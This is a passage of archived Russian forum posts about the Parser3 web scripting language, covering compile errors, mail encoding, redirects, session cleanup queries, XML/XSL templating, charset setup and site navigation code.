lude -I/usr/local/include/libgdome -I/usr/local/include/libxml2    -g -O2 -c -o\
compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C\
compile.y: In function `int yyparse(void *)':\
compile.y:200: syntax error before `}'\
compile.y:234: syntax error before `}'\
compile.y:236: syntax error before `}'\
compile.y:244: syntax error before `}'\
compile.y:257: syntax error before `}'\
compile.y:259: syntax error before `}'\
compile.y:285: syntax error before `}'\
compile.y:286: syntax error before `}'\
compile.y:320: syntax error before `}'\
compile.y:359: syntax error before `}'\
compile.y:390: syntax error before `}'\
compile.y:396: syntax error before `}'\
compile.y:397: syntax error before `}'\
compile.y:398: syntax error before `}'\
compile.y:401: syntax error before `}'\
compile.y:405: syntax error before `}'\
compile.y:409: syntax error before `}'\
compile.y:437: syntax error before `}'\
compile.y:439: syntax error before `}'\
compile.y:486: syntax error before `}'\
compile.y:533: syntax error before `}'\
compile.y:534: syntax error before `}'\
compile.y:535: syntax error before `}'\
compile.y:536: syntax error before `}'\
compile.y:537: syntax error before `}'\
compile.y:538: syntax error before `}'\
compile.y:539: syntax error before `}'\
compile.y:540: syntax error before `}'\
compile.y:542: syntax error before `}'\
compile.y:543: syntax error before `}'\
compile.y:544: syntax error before `}'\
compile.y:545: syntax error before `}'\
compile.y:546: syntax error before `}'\
compile.y:547: syntax error before `}'\
compile.y:548: syntax error before `}'\
compile.y:549: syntax error before `}'\
compile.y:550: syntax error before `}'\
compile.y:551: syntax error before `}'\
compile.y:552: syntax error before `}'\
compile.y:553: syntax error before `}'\
compile.y:554: syntax error before `}'\
compile.y:555: syntax error before `}'\
compile.y:556: syntax error before `}'\
compile.y:557: syntax error before `}'\
compile.y:558: syntax error before `}'\
compile.y:559: syntax error before `}'\
compile.y:560: syntax error before `}'\
compile.y:561: syntax error before `}'\
compile.y:562: syntax error before `}'\
compile.y:563: syntax error before `}'\
compile.y:564: syntax error before `}'\
compile.y:565: syntax error before `}'\
compile.y:566: syntax error before `}'\
compile.y:567: syntax error before `}'\
compile.y:568: syntax error before `}'\
compile.y:583: syntax error before `}'\
compile.y:585: syntax error before `}'\
compile.y:586: syntax error before `}'\
gmake[2]: *** [compile.tab.o] Error 1\
gmake[2]: Leaving directory `/usr/local/src/parser/parser3/src/main'[/code]"
"14127","^mail:send[\
	$.charset[koi8-r] \
	$.from[$me] \
	$.to[$you] \
	$.subject[Перекодировка сообщений]\
	$.errors-to[$env:SERVER_ADMIN] \
	$.text[Это письмо обязательно придет в кодировке koi8-r]\
]\
\
Фиг-то там... С упорством, достойным лучшего применения, письма приходят в win-1251 (она же - кодировка по умолчанию). Ошибок не возникает. Файлы с кодировками лежат, где положено.\
Parser3-cgi (с поддержкой XML), сервер - русский Apache (CharsetDisable, разумеется, on) , OS - Linux.\
\
В форуме искал похожие случаи, но найденное - не то (хотя может, что и пропустил). Все работает отлично (XML,SQL), все ОК, только письма не перекодируются :("
"14128","1. или дождитесь выхода следующей версии.\
2. если срочно: соберите из исходников сами."
"14129","Не срочно. Когда будет следующая версия (ориентировочно)?\
\
"
"14131","...нда...немного размазаный топик, но я постараюсь описать его конкретнее.\
\
Есть сайт, объемный, с большой БД.\
На сайте держится база с данными о фирмах.\
У сайта есть админ-часть, с помощью которой представители фирм могут редактировать данные фирмы, добавлять новую инфу в разделы (каталоги, списки и т.д.).\
Теперь - есть один системный админ, который должен иметь доступ ко всем данным фирм. В свою очередь, представители фирм должны иметь доступ только ко своим данным.\
Вот. Как это организовать лучше всего?\
Месяц назад я собрал на тот момент казавшуюся мне стабильную систему защиты, но сегодня сам же ее и вскрыл - обидно до слез!!!\
Посоветуйте какую литературу по теме, или каких либо конкретных советов дайте, а то скоро сайту на свет, а тут лажа такая!\
\
P.S. Свою организацию описывать не стал, но если кому интересно, я расскажу..."
"14133","[code]\
@addnews[]\
^if($access<2){\
	$response:location[http://localhost:8080//admin/news/]\
}{\
	^if(!def $form:date || !def $form:info){\
		$response:location[http://localhost:8080/admin/news/?err=1]\
	}{\
		$newsdate[^MAIN:checkpost[$form:date;10]]\
		$newsinfo[^MAIN:checkpost[$form:info;128]]\
		$partdate[^newsdate.split[.;hr]]\
		$createdate[^date::create($partdate.0;$partdate.1;$partdate.2)]\
		^MAIN:dbquery{^void:sql{insert into news (createdate,author,info) values('^createdate.sql-string[]','$userid','$newsinfo')}}\
		^MAIN:dbquery{$newsid(^int:sql{select distinct last_insert_id() from news}[$.limit(1) $.default{0}])}\
		$response:locaton[http://localhost:8080/admin/news/editnews.html?id=$newsid]\
	}\
}\
#end of @addnews[]\
[code]\
редирект который первым - ок, редирект который вторым - ок, редирект который идет третьим - не редиректит, ничего уже не пойму.\
до него доходит 100% - ставим там вместо редиректа вывод \"мы тута\" - видим \"мы тута\", а редирект ну ни как не редиректит.\
ничего не понимаю вообще (\
ставил просто $response:locaton[http://localhost:8080/admin/news/editnews.html] - один хрен, никакого редиректа\
"
"14134","%)\
всё нашел...\
простите и сотрите ;)"
"14135","Описал бы свою организацию - с одной стороны, понять как сломал, чтобы на те же грабли не наступить, а потом, чтобы не давать глупых советов :)\
Я в аналогичной ситуации использую сессионную куку, в которой живет группа и статус юзера, и объект user, который проверяет права и разрешает/запрещает доступ. А у админа группа суперюзер, которой все можно по определению. Замечание PAFa насчет msql_auth, признаться, не совсем понял. Имхо, задача внутри интерфейса разбираться, а не внутри запросов к БД ..."
"14136","К чему готовится?"
"14137","У меня есть xml вида\
\
[code]\
<?xml version=\"1.0\" ?> \
<list>\
	<a par1=\"1\"/>\
	<a par2=\"1\"/>\
	<a par3=\"1\"/>\
	<a par1=\"1\" par2=\"1\"/>\
	<a par1=\"1\" par2=\"1\" par3=\"1\"/>\
</list>\
[/code]\
\
То есть у каждого тега <a> может быть любая комбинация атрибутов par1, par2, par3.\
\
В .xsl несколько шаблонов вида: \
если у <a> есть атрибут par1 вывести то-то, \
если у <a> есть атрибут par2 вывести то-то...\
...\
\
[code]\
<xsl:template match=\"a[@par1]\">\
...\
</xsl:template>\
<xsl:template match=\"a[@par2]\">\
...\
</xsl:template>\
[/code]\
\
Мне нужно, чтобы если у <a> несколько атрибутов, то к нему применились бы все соответствующие шаблоны\
неважно в какой последовательности.\
Решение с for-each и кучей if'ов мне не подходит, часть шаблонов будет импортироваться,\
кол-во атрибутов может увеличиваться или уменьшатся,\
при этом хочется просто удалять и добавлять соответствующие шаблоны, не трогая остальной код.\
\
Cамое очевидное решение менять mode, примерно так:\
[code]\
<xsl:template match=\"a[@par1]\">\
...\
<xsl:apply-template select=\".\" mode=\"checkPar2\"/>\
</xsl:template>\
<xsl:template match=\"a[@par2]\" mode=\"checkPar2\">\
...\
<xsl:apply-template select=\".\" mode=\"checkPar3\"/>\
</xsl:template>\
...\
[/code]\
\
Но здесь опять же не достигается независимость шаблонов между собой."
"14138","Пытаюсь воспользоваться этой опцией (как я понимаю, в 3.0007sp1 она уже есть?).\
\
Код\
[code]$info[^file::load[text;http://www.parser.ru/;$.any-status(1)]][/code]\
приводит к ошибке\
[code]/testinfo.html: invalid option passed [parser.runtime][/code]\
\
Что я делаю не так?\
\
Заранее спасибо."
"14139","Пытаюсь воспользоваться опцией $.any-status(1) для обработки 302 Found ответа. (как я понимаю, в 3.0007sp1 она уже есть?)\
\
Код\
[code]$info[^file::load[text;http://www.parser.ru/;$.any-status(1)]][/code]\
приводит к ошибке\
[code]/testinfo.html: invalid option passed [parser.runtime][/code]\
\
Что я делаю не так?\
\
Заранее спасибо."
"14140","одна: 3.0.0008 \
косметические изменения, и переход на новые версии xml библиотек и новые версии средств сборки из исходников.\
\
вторая: 3.1.0\
кардинально улучшена работа с памятью, которой будет требоваться сильно меньше."
"14141","Имеет ли смысл использование таблиц, как свойства сайта, к примеру, чтобы быстро регулировать дизайн и другое? Оправдывает это себя? "
"14142","как сами можете проверить в CVS: эта опция появилась 16 января."
"14143","А вы когда нибудь пробывали узнать на нем тип файла через соккет?\
Если нет ключа --enable-mime-magic!\
\
Parser3 простой, но тем не менее в нем есть все необходимое, конечно писать движки сайтов на нем геморноватей чем на пхп, тот разнообразней, но приходится постоянно лазить в мануал, что убивает время.\
\
ЗЫ: Парсер3 вообче нельзя сравнивать с ПХП, это разные эпохи, ПХП - это классика, а парсер это добротная, но все же сырая технология.\
"
"14144","А мускуль как раз облегчит работу с инфой на сайте, хотя если есть Оракл - используй его."
"14145","http://parser.ru/forum/?id=11619"
"14146","дело не в технологии, а обычно в ДНК того, кто затевает никому ненужные флеймы. Чтобы дать адекватную оценку, - нужно разобраться в обоих вещах, а мир технологий уже настолько сложен, что разобраться нереально, просто не хватит времени.\
\
Резюме: Идите в свой мир и не мешайте нам жить."
"14147","можете пользоваться, правда сначала стоит узнать, что это такое, - вы меня понимаете?"
"14148","Сохраняю в cookie значение uri к которому необходимо возвратиться\
[code]?ch=product&company=35&subgroup=all[/code]\
При считывании получаю\
[code]?ch%3Dproduct%26company%3D35%26subgroup%3Dall[/code]\
Знаки [b]=[/b] и [b]&[/b] отсутствуют. В чем дело? В Parser 0006 все работало. Поставил 0007 работать перестало."
"14149","http://parser.ru/docs/lang/tainting.htm\
http://parser.ru/docs/lang/opuntainttaint.htm\
http://parser.ru/examples/tainting/\
"
"14151","Здравствуйте, уважаемые разработчики!\
\
 Поминится в начале осени кто-то спросил о том как скоро парсер смогет получать почту...\
сказали что скоро.\
и все же : когда новый релиз с новыми фичами планируется(если не секрет) , а то задолбался я вражий \"пхп\" юзать для выполнения того, что парсер пока что не может.\
"
"14153","...1 марта. Потому и решил, что уже есть.\
\
Кстати, данный вами в свое время сайтик wincvs.org мертв. Не знаете, есть ли альтернативы?"
"14154","Возможено оффтоп... не бейте ногами...\
\
есть база menu в ней 3 поля\
1 nmbr (сериал - правда карявый какой-то)\
2 parent(указатель на родителя)(def=0)\
3 child(кол детей) (def=0)\
\
задача написать два triggera - первый на добовление в базу данных второй на удаленее т.е. если добавляем в базу запись с parent=n ишем запись с nmbr=n  и child=child+1\
аналогично на удаление\
\
Если не секрет есть ли гденить форум по postgres'y\
\
2PAF(с бесконечной надеждой) а будет когданить драйвер к informix?"
"14155","если не секрет..."
"14159","В виде плугина к explorer :)\
Папочки в нем подкрашивает, много приятного во всех отношениях."
"14161","[quot]В виде плугина к explorer :)[/quot]\
\
аж самому стало смешно? ;) нет уж, мне таких приятностей не хочется совершенно ;)))"
"14163","1. про «скоро», укажите url на такое сообщение.\
2. про новый: вы форум читаете?"
"14164","А можно ли создать, скажем, папку parser3 в корневом каталоге моего сайта, всунуть в нее парсер как модуль CGI и создать .htaccess, ну, в общем, чтобы у меня работал Парсер без разрешения фирмы, предоставляющей мне хостинг?\
Заранее спасибо."
"14166","плагин к Explorer, по-нашенски Проводник.\
Не IE :) \
Windows Explorer.\
Хотя в каком-то смысле он тоже IE."
"14167","Если МНЕ надо, я иду, читаю документацию и делаю.\
Если это надо кому-то другому - я это не делаю, т.к. мне лень, и предлагаю другому пойти, почитать документацию по PgSQL и сделать это."
"14171","извените за повтор"
"14172","ситуация не изменилась.\
мне интересно, что, среди ваших знакомых нет ни одного человека, способного програмировать на C?"
"14173","к сожелению у них нет времени....\
как видимо и у вас. \
\
Все равно спасибо.\
\
зы. сколько времени необходимо на написание драйвера к базе?"
"14175","1. Есть механизм хранения сессий. ID хранится в соответствующем Cookie\
2. Данные сессии хранятся в БД\
3. Жизнь Cookie можно задать и она будет на (полу-, не-)автомате контролироваться.\
4. Вопрос - как контролировать жизнь cookie в БД, дабы не разросталась  таблица несуществующими сессиями.\
4.1. Есть идея по введению полей start, last_access и проверять, чтобы разница времени была не больше N минут.\
НО!\
4.2. Встает вопрос - когда лучше контролировать этот вариант - при создании новой сессии пробегаться по _всей_ таблице, проверять _все_ сессии пользователей делать что-то вроде \
[code]\
DELETE FROM sessions\
WHERE TO_DAYS(NOW())-TO_DAYS(last_accessed)>=1;\
[/code]\
? - Не будет ли это чрезмерно долго. "
"14176","[url link=\"http://www.books.ru/shop/search?search_type=books&query=Postgres&x=0&y=0\"]on-line магазин Books.ru[/url]\
\
я там себе много чего хорошего нашел и купил"
"14177","... это раз.\
\
-естественно надо не забыть индекс на last_accessed\
\
- далее, твой запрос:\
[code]DELETE FROM sessions WHERE TO_DAYS(NOW())-TO_DAYS(last_accessed)>=1;[/code] \
плохой. (замени delete на explain select * и посмотри что он говорит) \
\
значительно лучше так:\
[code]explain DELETE FROM session WHERE NOW() - 1 >= last_accessed[/code]\
\
в этом случае константа (now()-1) будет вычеслена и будет по индексам выбрал диапазон, в который она попала (тоже посмотри explain). в твоем запросе для каждой строки будет происводиться вычисление TO_DAYS(NOW())-TO_DAYS(last_accessed)>=1\
\
после подобных изменений запроса почти пофигу, когда ты будешь чистить базу, запрос этот очень быстрый (я чищу при выдачи/апдейте куки)"
"14178","...то, обычно, так и делается...\
\
Создайте поле dt_logged и при каждой проверке обновляйте в нем дату на текущую. Записи, старше 10-и минут - стирайте..."
"14181","Ситуация такая:\
Есть в корне сайта два каталога, например\
/news/ и /admin/\
\
в /news/ лежит файл /news/index.html\
[code]\
@main[]\
НОВОСТИ\
[/code]\
\
в /admin/\
/admin/index.html\
[code]\
@main[]\
<form method=\"post\" action=\"/admin/add_news.html\">\
<input name=\"name\">\
<input type=\"submit\" value=\"OK!\" name=\"posted\">\
</form>\
[/code]\
\
/admin/add_news.html\
[code]\
@main[]\
$response:location[/news/]\
[/code]\
\
Проблема следующая: Когда загружается /admin/add_news.html, этот скрипт неправильно делает редирект на /news/, вернее загружается содержимое странички /news/index.html правльно, но адрес остаётся /admin/add_news.html :(\
Поэтому при случайном (и спецальном :)) рефреше происходит повторная отправка данных. Здесь приведён супер-упрощённый пример, без наворотов с БД. Web-сервер IIS.\
\
Как побороть? Это что глюк парсера? Кто знает подскажите плиз."
"14182","было у меня такое...\
помоему как то раз решил это путем $response:location[/news]\
"
"14185","он плохо скомпилил compile.tab.C\
в архиве и cvs лежит скомпилённый compile.tab.C, который правильный.\
"
"14186","по-моему я встрял в разговор, но я задавал вопрос про почту"
"14187","..ну не программист я ....\
но что это\
[code]\
!mail\
    !$mail.received=MESSAGE:\
[/code]\
похоже на то, что письма Парсер принимает(судя по !), а вот в доке это никак не описано.... погано\
мне правда здорово не хватает приема писем посредством Парсера"
"14188","Что должен возвращать вызов http://сайт.ru/cgi/parser/parser3.cgi в строке браузера (при правильной настройке и работе Парсера)?\
\
У меня на линуксовом хостинге выдает 500-ую, в parser3.log при этом ничего не пишет, chmod для parser3.cgi равен 711.\
\
Версия Парсера parser3_3_0_0006_redhat72_cgi."
"14189","вот что он у меня выдает:\
Parser/3.0.0005\
\
установлен на AltLinuX 2.2, сервер Apache, /cgi-bin/parser3.cgi\
"
"14190","Миша уже как-то говорил свои соображения по этому вопросу.\
Теперь хотелось бы выяснить как организовать ввод [b]НУЖНОГО[/b] количества картинок для статей?\
делать много форм <input type=\"file\" name=\"image###\">?\
ввод текста и картинок нужен на одной странице"
"14191","Когда аплоадишь некоторыми ftp-клиентами файл *.cgi они могут автопереключаться в ASCII (FlashFXP, например) и будет 500-ошибка. (см. faq).\
\
Когда все правильно в ответе увидишь версию парсера."
"14192","в том же сообщении указано, что можно собрать самому. давно можно.\
\
от меня предложение: давайте CVS доступ к исходникам закроем: никому пользы от него нет."
"14193","на некоторых платформах при таком обращении действительно выводится 500.\
\
в версии 3.0.0005 этого не было, появилось в 3.0.0006, на обычной работе никак не сказывается, только в случае такого обращения за версией."
"14194","Александр, я вас понимаю, - ожидали большего энтузиазма, его нет. Не стоит расстраиваться, это пройдет. Польза есть, я периодически (раз в квартал :)) залазю туда."
"14195","И пускай через него будет подгружено необходимое число картинок - на основное окно, где вводится новость, оно не повлияет."
"14197","парсер собрался нармально, но при использовании mysql\
выдает сообщение:\
driver failed to initialize client library '/usr/lib/libmysqlclient.so', can not open the dynamic link module ./lib/libparser3mysql.so \
"
"14200","1) Сколько иллюстраций считается нормальным для статей в 2-3 экрана?\
\
2) Сколько нужно выводить на странице форм для ввода картинок?\
\
Вот так вроде"
"14201","у меня так и сделано, - только вот основное окно ещё и посылает информацию о том, сколько форм для загрузки картинок выводить 1,2 ... n "
"14202","а скорее из области юзабилити, - ответ дать сложно, всё зависит от контекста."
"14206","Вообще, картинок может быть сколько угодно - хоть сто, лишь бы это не повлияло на читабильность текста, и было актуально.\
В выводе картинок есть свои проблемы. Если выводить картинки включая их в текст, то нужно учитывать что картинка может заходить и на второй абзац. Тогда уж точно во второй обзац ставить картинку нельзя. Попробую изобразить текстом как это может быть.\
[code]\
 Первый абзац, текст ********\
первого абзаца.      ********\
 Второй абзац, текст ********\
второго абзаца.      ********\
[/code]\
\
Звездочками я изобразил плоскость картинки. Можно конечно избежать правого обтекания во втором абзаце, указав для тега <p> style=\"clear: right\"\
Но тогда в случае если абзац короткий, а картика высокая, то будет разрыв между абзацами.\
[code]\
 Первый абзац, текст ********\
первого абзаца.      ********\
                     ********\
                     ********\
 Второй абзац, текст второго \
абзаца.\
[/code]\
Собственно говоря тоже не очень красиво.\
Остается только вариант вставки между абзацами. Вставлять картинку можно как блоками по 2-3 так и отдельными картинками.\
Если вставлять блок горизонтальный\
[code]\
----------------------------------\
| картинка | картинка | картинка |\
----------------------------------\
[/code]\
\
То нужно следить за тем, чтобы суммарная ширина картинок не превышала 765, это максимальный размер который можно вывести на экране с разрешением 800х600 без появления горизонтального скроллера.\
Если ставить вертикальный, то желательно проследить за тем, чтобы вертикальный размер не превышал 500, чтобы высота картинок позволяла увидеть последнюю строку предыдущего и первую строку следующего абзаца.\
\
А технически, Sanja v.2 описал все правильно. Нужно фотки заливать до того как ставить в статью, делать с ними все необходимые манипуляции, обрамление в рамки, приведение к цветам сайта, если необходимо. И уж только после всех этих манипуляций через отдельное окно вставлять в текст, естесственно в виде текстовой ссылки, к примеру [img=\"1.gif\"]"
"14207","А я картинки заливаю после того как статья в БД ушла, и ничего всё работает. Ничего страшного не происходит. Можно возразить мол что статья есть а рисунков нету и парсер может ругнуться, - это длится очень недолго, и на почти все дисковые операции стоит ставить обработку исключений чтобы было проще и сайт при этом не валился."
"14209","я не очень понял, о чем речь...\
в корневом сообщении вроде говориться о том, как сделать ВВОД нескольких файлов, а почти все ответы про ВЫВОД.\
\
если надо речь толкать все-таки про ввод, то посмотрите на пример agat-а про голосования: http://crimnet.invex.ru/poll/ (добавление вариантов ответов)\
\
что вам мешает точно так-же добавлять дополнительные поля input type=\"file\" и постить кучку картинок разом? лично мне - ничего (к сожалению, дать ссылку на то, как это сделано у меня не могу, это не в public доступе)\
"
"14210","Я написал php класс для совместимости с таблицами Parser если кому надо берите, юзайте, тестируйте:)\
\
Скоро напишу функции UPDATE, DELETE и APPEND\
\
[code]<?php\
\
class Parser_Tables {\
\
	function Save($file=\"\",$table=\"\"){\
		$fp = fopen ($file,\"w\");\
		while (list($k,$v)=each($table)){\
			for ($i=1; $i<=count($table[$k]); $i++) {\
				list($key,$value)=each($table[$k]);\
				if ($i < count($table[$k])) {\
					fputs($fp,$value.\"\\t\");\
				} else {\
					fputs($fp,$value);\
				}\
			}\
			fputs($fp,\"\\r\\n\");\
		}\
		fclose($fp);\
	}\
\
	function Load($file=\"\"){\
		$table = array();\
		$fp = fopen ($file,\"r\");\
\
		while (!feof ($fp)) {\
			$line = fgets($fp,filesize($file));\
			if ($line!=\"\"){\
				$str = split(\"\\t\",$line);\
				array_push($table,$str);\
			}\
		}\
		return $table;\
		fclose($fp);\
	}\
\
	function Select($table=\"\",$command=\"\"){\
\
		$arr = split(\" \",$command);\
\
		for ($i=1; $i<=count($table[0]); $i++) {\
			list($key,$value)=each($table[0]);\
			$value = str_replace(\"\\r\\n\",\"\",$value);\
				reset ($arr);\
				while (list($key_arr,$value_arr)=each($arr)){\
					if ($value_arr==$value) {\
						$command = (str_replace($value_arr,\"\\$table[\\$k]['\".$key.\"']\",$command));\
					}\
				}\
		}\
\
		$command = \"if (\".$command.\") {} else {unset(\\$new_arr[\\$k]);}\";\
		$new_arr = $table;\
		next($table);\
\
		while (list($k,$v)=each($table)) {\
			eval($command);\
		}\
\
		return $new_arr;\
	}\
\
}\
\
\
\
\
\
\
\
\
\
\
\
\
\
$table = array(\
	'0' => array(\"name\",\"title\",\"age\"),\
	'1' => array(\"Вова\",\"1\",\"21\"),\
	'2' => array(\"Леша\",\"1\",\"22\"),\
	'3' => array(\"Леша\",\"1\",\"23\"),\
	'4' => array(\"Леша\",\"1\",\"24\"),\
	'5' => array(\"Леша\",\"1\",\"25\")\
);\
\
$file = \"test_table_php.txt\";\
\
$PT = new Parser_Tables;\
$PT -> Save($file,$table);\
$table = $PT -> Load($file);\
print_r($table);\
\
echo \"<BR><BR><BR><BR><BR><BR>\";\
\
# Аргументы необходимо разделять пробелами.\
$table = $PT -> Select($table,\"age != 23 && name == 'Леша'\");\
print_r($table);\
\
?>[/code]\
\
Да. И ещё если есть предложение и пожелания, то я обязательно выслушаю и приму к сведению."
"14211","Форум то вроде для парсера? И для многоязычных сайтов лучше использовать XML (IMHO)"
"14212","Мне нужно обрабатывать таблицы парсера пхп скриптами и возможно ни мне одному. Скоро напишу ещё функции вещь ведь полезная.\
\
По поводу того, что форум по парсеру. Но здесь часто всплывало что лучше П3 или ПХП, но так вот я не взвешиваю их и пользуюсь обоими и не мешает, а наоборот повышает изобретательность."
"14213","тогда можно это на парсер перевести, if you please?"
"14215","а дополнительные классы по обработке напишу обязательно, будет время. Но сначала это закончу."
"14216","пожалуйста напиши, очень буду признателен :)"
"14217","вы займётесь? \
под все платформы?"
"14219","Воспользовался кодом Егорова (Календарь с использованием XML — 2) в котором описано, как построить календарь на месяц с использованием XML. а также там есть возможность создания календаря с русским и англиским формированием.\
\
Когда формируется английский, то все ОК. А вот когда русский, то:\
[code]'create' Entity: line 9: error: Input is not proper UTF-8, indicate encoding !| month_title=\"Март\"|              ^|Entity: line 9: error: Bytes: 0xCC 0xE0 0xF0 0xF2| month_title=\"Март\"|              ^| [xml][/code]\
Код не правил, поэтому я не понимаю в чем проблема. Причем это не единственный пример такой плохой работы XML с русским. Может это только у меня? Как это исправить?\
\
Server: на локальной машине под управлением WinXP + Apache + module парсера"
"14220","и я согласен), вернее согласен, что на это нужно время, силы, знания, т.д. и т.п.\
\
Чего в полном объеме ни я, ни многие конечно не имеют....\
\
А ведь есть же люди, которые постоянно для свой платформы обновляют п3.\
Может как-нибудь их приобщить?\
"
"14222","не настроен конфиг возможно, или не считываются из него кодировки"
"14223","[code]$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
][/code]\
\
вот загрузка таблиц кодировки\
[code]\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
[/code]\
\
прям из конфига вставил..."
"14224","1. файлов может не быть\
2. может быть ошибка в путях\
3. может не быть доступа к файлам\
4. код может быть вставлен неверно (например copy/paste при котором профукались символы табуляции)\
\
на некоторые вопросы может дать ответ _test.html"
"14225","Но в любом случае спасибо за наводку тебе и за код agat`y."
"14227","1. Такое сообщение [b]всегда[/b] говорит о том, что $request:charset = UTF-8 \
2. Если вы привели кусок вашего конфига, - кусок верный, значит что? Значит не считывается конфигурационный auto.p и парсер берет кодировку по-умолчанию.\
3. Возможно неправильно настроен конфигурационный метод @conf в случае если конфигурационный файл лежит не рядом с парсером."
"14228","Запускаю _test.html\
и в самом начале вижу:\
[code]\
Глобальные переменные, заданые в конфигурационном auto.p\
[b]$CHARSETS:[/b]\
windows-1251 $charsetsdir/windows-1251.cfg 5244 байт\
\
[b]Работа с XML[/b]\
Создание объекта типа xdoc:\
\
\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
	<t attr=\"привет\" n=\"123\"/>\
	<t attr=\"пока\" n=\"234\" n2=\"xxx\"/>\
	<text>текст</text>\
</document>}]\
\
Объект xdoc создан.\
Достаем все элементы <t /> $elements[^document.select[//t]] :\
Количество найденых элементов: 2\
Вывод найденых элементов с помощью foreach (порядок произвольный):\
имя: 't', тип: '1', кол-во аттрибутов: '2', аттрибуты: n='123', attr='привет' \
имя: 't', тип: '1', кол-во аттрибутов: '3', аттрибуты: n2='xxx', n='234', attr='пока' \
[/code]\
\
как я понимаю из этих строк - все впорядке... а проблема осталась :("
"14229","вы create делаете, и, похоже, не указываете encoding=\"windows-1251\". по-умолчанию UTF-8."
"14230","ТОЧНО, простите меня дуру грешную :(\
[b]Большое всем спасибо за помощь![/b]"
"14232","подойдёт ли xdoc для генерации RSS? нужно для \"Яндекс.Новости\".\
или проще текстовый файл писать?"
"14236","RSS ведь по сути XML-based стандарт, кажется вполне логичным генерировать его через xdoc...\
\
Или у вас имеются какие либо конкретные причины для сомнений?"
"14240","У меня была цель написать древовидную структуру навигации сайта с использованием XML.\
\
В базе у меня храниться:\
[code]\
id,parent_id,dir,title\
1,0,feedback,Контакты\
2,0,press,Новости и пресс-релизы\
3,2,news,Новости\
4,2,releases,Пресс-релизы\
5,3,old,Старые\
6,3,new,Новые\
[/code]\
\
и мне надо получить такой вот XML код:\
[code]\
<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<sections>\
	<item id=\"1\">\
		<dir>feedback</dir>\
		<title>Контакты</title>\
	</item>\
	<item id=\"2\">\
		<dir>press</dir>\
		<title>Новости и пресс-релизы</title>\
		<item id=\"3\">\
			<dir>news</dir>\
			<title>Новости</title>\
			<item id=\"5\">\
				<dir>old</dir>\
				<title>Старые</title>\
			</item>\
			<item id=\"6\">\
				<dir>new</dir>\
				<title>Новые</title>\
			</item>\
		</item>\
		<item id=\"4\">\
			<dir>releases</dir>\
			<title>Пресс-релизы</title>\
		</item>\
	</item>\
</sections>\
[/code]\
\
Взял часть кода у Егорова и малец дописал:\
[code]\
#######\
# работа с URI - формирование списка всех URI сайта\
@CLASS\
object_uri\
\
#######\
# конструктор\
@init[items]\
# входная таблица разделов\
$self.items[$items]\
\
# создание хэша из таблицы для ускорения поиска\
$items_hash[^items.hash[id]]\
#end @init[]\
\
#######\
# получение uri раздела по заданному id\
@get_uri[id][parent_id;uri]\
$parent_id($id)\
^while($parent_id && $items_hash.[$parent_id]){\
	$uri[$items_hash.[$parent_id].dir/$uri]\
	$items_hash.[$id].url[$uri]\
	$parent_id($items_hash.[$parent_id].parent_id)\
}\
$result[/$uri]\
#end @get_uri[]\
\
@convert_xml[]\
^if(def $items){\
	$xml[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
	<sections>\
		^oneLevel[0;1]\
	</sections>}]\
}\
$result[$xml]\
#end @getDocUri_xml[]\
\
#######\
# Надо оптимизировать эту часть!!!\
@oneLevel[id;next][parent_id;nextLevel]\
$nextLevel($next)\
$parent_id($id)\
$result[\
^if(^nextLevel.int(0)){\
	^items.menu{\
		^if($items.parent_id == $parent_id){\
			<item id=\"$items.id\" ^if(in \"^get_uri[$items.id]\"){in=\"yes\"} ^if(\"$env:REQUEST_URI\" eq \"^get_uri[$items.id]\"){hit=\"yes\"}>\
				<title>$items.title</title>\
				<dir>$items.dir</dir>\
				^oneLevel[$items.id;^if(^items.locate[parent_id;$parent_id]){1}{0}]\
			</item>\
		}\
	}\
}]\
#end @oneLevel[]\
[/code]\
\
И вызываю так:\
[code]\
@auto[]\
$date_now[^date::now[]]\
^connect[$SQL.connect-string]{\
^use[uri.p]\
\
#######\
# Загрузка информации о всех папках\
$t_sections[^table::sql{\
		SELECT\
			id,\
			parent_id,\
			dir,\
			title\
		FROM\
			sections}]\
}\
}\
\
@main[]\
$URI[^object_uri::init[$t_sections]]\
$URI_xml[^URI.convert_xml[]]\
$response:body[^URI.string[]]\
[/code]\
\
Но, как я понимаю, эта конструкция не оптимальна, потому что перебор всех папок делается при каждой новой вложености.\
\
Наверное многие писали что-то наподобии такого или даже такое. Пожалуйста поделитесь идеями, мыслями!\
\
P.S. не судите строго, я только учусь."
"14243","мне кажется, выводить всё дерево структуры сайта имеет смысл только если ваша навигация построена на \"выпадающих\" многоуровневых DHTML-менюшках (как отдельный случай - для построения \"карты сайта\"). В простейшем варианте (главное меню + меню раздела + (возможно)меню подраздела) достаточно выводить только на данный момент актуальные ветки дерева, что-то вроде:\
[code]\
^if(in \"^get_uri[$items.id]\"){...ваш рекурсивный вызов...} \
[/code]\
ещё интересно было бы узнать, как у вас организована обработка некорректных URI (404), пока мне пришло в голову только такое: по завершении формирования дерева проверить все item'ы на наличие атрибута \"hit\", если не найден - 404. Кривовато как-то получается, может есть более простой и удобный способ?"
"14249","У меня возникла потребность сделать сменным язык интерфейса у своего проекта, причем так, чтобы данные с текстом сообщений и т.д. хранились в отдельном файле, дабы переводчик мог не перелопачивая весь код переводить сообщения.\
\
Собственно вопрос: как будет оптимальнее хранить данные?\
В файле с классом или в одной, но относительно большой таблице?\
\
P.S. Если кто-то уже решал подобные задачи, буду очень рад ознакомиться с вашим опытом..."
"14250","мы в одном из проектов использовали одну большую таблицу, в структуре:\
\
[code]\
lang_id char(2)\
block_id varchar(10)\
string_id varchar(10)\
data varchar(255)\
[/code]\
\
вариант работы с этим:\
[code]\
^resource:string[confirm;yes]\
[/code]\
\
метод считывает и кэширует весь блок сообщений, наружу выдавая запрошенную строку.\
\
при том, что класс resource знает текущий lang."
"14251","У меня алгоритм такой: при каждой _авторизации_ считаю размер таблицы (count(sid)), если он больше, чем кол-во пользователей в системе, то выполняется запрос по очитске.\
